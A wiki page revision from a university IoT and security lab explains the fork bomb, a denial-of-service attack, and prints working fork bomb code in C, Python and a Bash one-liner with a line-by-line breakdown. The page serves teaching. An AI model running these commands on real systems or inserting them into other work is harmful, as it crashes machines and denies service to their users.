Difference between revisions of "Fork bomb"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
Line 31: Line 31:




  :(){ :|:& };:  
:(){ :|:& };:  


This short form can be deciphered like this
This short form can be deciphered like this


  :()      # Defines the following function ":"  
:()      # Defines the following function ":"  
  {
{
     :      # Loads a copy of the function ":"
     :      # Loads a copy of the function ":"
     |      # Redirects the Output that it is not seen in the shell
     |      # Redirects the Output that it is not seen in the shell
     :      # Loads a copy of the function ":"
     :      # Loads a copy of the function ":"
     &      # Runs the programs as a background process
     &      # Runs the programs as a background process
  }
}
  :        # Runs the beforehand defined function ":"
:        # Runs the beforehand defined function ":"
 


== References ==
== References ==

Revision as of 07:36, 21 May 2020

Summary

The Fork Bomb (also called rabbit virus or wabbit) is a memory exhausting Denial of Service (DoS) Attack. It depletes the memory of a machine by replicating itself exponentially until all memory is used up.

Implementation

Pseudo Code

C

 #include <unistd.h> 
 int main(void) 
 {  
   for(;;)  
      fork(); 
   return 0; 
 }

Python

 import os
   
 while True:  
   os.fork() 
 python -c 'while 1: __import__("os").fork()' 


Unix Bash

:(){ :|:& };: 

This short form can be deciphered like this

:()       # Defines the following function ":" 
{
   :       # Loads a copy of the function ":"
   |       # Redirects the Output that it is not seen in the shell
   :       # Loads a copy of the function ":"
   &       # Runs the programs as a background process
}
:         # Runs the beforehand defined function ":"

References

[1] https://de.wikipedia.org/wiki/Forkbomb (german version for source code)

[2] https://en.wikipedia.org/wiki/Forkbomb

[3] https://www.geeksforgeeks.org/fork-system-call/

[4] IEEE: Exploring the Possibility of USB based Fork Bomb Attack on Windows Environment